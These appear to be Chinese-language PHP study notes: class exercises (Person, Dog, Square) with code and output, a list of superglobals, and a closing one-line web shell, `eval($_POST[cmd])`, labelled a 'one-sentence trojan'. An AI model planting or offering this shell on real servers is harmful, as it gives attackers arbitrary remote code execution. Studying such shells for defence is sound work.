- 写一个类Person:
类中的属性: 姓名. 性别. 年龄. 身高. 体重. 出生年月
类中的方法:
一个类的自我描述方法: 输出该类的所有相关属性
测试:
生成一个Person对象p, 该对象的姓名"王二麻子", 性别"男", 年龄"17", 身高"176.5", 体重"73.5", 出生年月"1997/9/23",最后调用该对象的自我描述方法
<?php
class Person{
var $name;
var $sex;
var $age;
var $height;
var $weight;
var $birthday;
function __construct($name,$sex,$age,$height,$weight,$birthday){
$this-> name=$name;
$this-> sex=$sex;
$this->age=$age;
$this->height=$height;
$this->weight=$weight;
$this->birthday=$birthday;
}
function desc(){
echo '姓名' . $this->name .',性别' . $this->sex .',年龄' . $this->age .',身高' .$this->height .',体重' .$this->weight .',出生年月' .$this->birthday;
}
}
$p= new Person("王二麻子","男",17,176.5,73.5,"1997/9/23");
$p->desc();
?>
输出的结果
姓名王二麻子,性别男,年龄17,身高176.5,体重73.5,出生年月1997/9/23
- 写一个狗类Dog:
类中的属性: 姓名, 性别, 颜色, 品种, 体重, 肩高, 价钱
类中的方法:
一个狗类的介绍方法: 输出狗类的所有信息
测试:
生成一个Dog对象b, 该对象的姓名"阿八", 性别"母", 颜色"棕红", 品种"泰迪", 体重"5.2"斤, 肩高"26", 价钱"2000"
生成一个Dog对象t, 该对象的姓名"兔子", 性别"母", 颜色"银灰", 品种"泰迪", 体重"3.1"斤, 肩高"22", 价钱"5000"
<?php
class Dog{
var $name;
var $sex;
var $color;
var $type;
var $weight;
var $sHeight;
var $price;
function __construct($in_name,$in_sex,$in_color,$in_type,$in_weight,$in_sHeight,$in_price){
$this-> name=$in_name;
$this-> sex=$in_sex;
$this->color=$in_color;
$this->type=$in_type;
$this->weight=$in_weight;
$this->sHeight=$in_sHeight;
$this->price=$in_price;
}
function show(){
echo '姓名' . $this->name .',性别' . $this->sex .',颜色' . $this->color .',肩高' .$this->sHeight .',体重' .$this->weight .',价格' .$this->price;
}
}
$b= new Dog("阿八","母","棕红","泰迪",5.2,26,2000);
$b->show();
?>
输出的结果
姓名阿八,性别母,颜色棕红,肩高26,体重5.2,价格2000
- 写一个方形类Square:
类中的属性: 长, 宽
类中的方法:
显示方形信息的方法:显示长和宽, 并且显示面积
测试:
生成一个方向对象s, 长为6,宽为5, 显示长和宽, 并且显示面积
<?php
class Square{
var $length;
var $width;
function __construct($in_length,$in_width){
$this-> length=$in_length;
$this-> width=$in_width;
}
function calc(){
$acr=$this->length * $this->width;
echo '长' . $this->length .',宽' . $this->width .',面积' . $acr;
}
}
$s= new Square(6,5);
$s->Calc();
?>
输出结果
长6,宽5,面积30
php全局变量
$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]
$_SERVER[是预定义服务器变量的一种]
$GLOBALS [一个包含了全部变量的全局组合数组]
$_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
$POST
1.一句话木马
<?
eval($_POST[cmd]);
?>
2.接收前端元素
<form action="xxx.php" name="cmd" method="post">
<?
if(isset($_POST['cmd'])){
//存在变量,则接收前端提交的元素
}
?>